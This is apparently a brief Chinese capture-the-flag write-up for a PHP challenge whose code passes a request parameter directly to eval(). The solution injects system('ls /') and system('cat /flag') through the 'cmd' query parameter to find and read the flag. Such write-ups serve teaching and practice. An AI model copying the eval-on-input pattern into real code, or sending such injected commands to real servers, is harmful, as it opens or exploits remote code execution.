eval--WP

# eval 打开题目 ```php <?php highlight_file(__FILE__); if (isset($_REQUEST['cmd'])) {     eval($_REQUEST["cmd"]); } ?> ``` 直接使用get请求  /?cmd=system('ls /'); 发现flag 查看flag  /?cmd=system('cat /flag');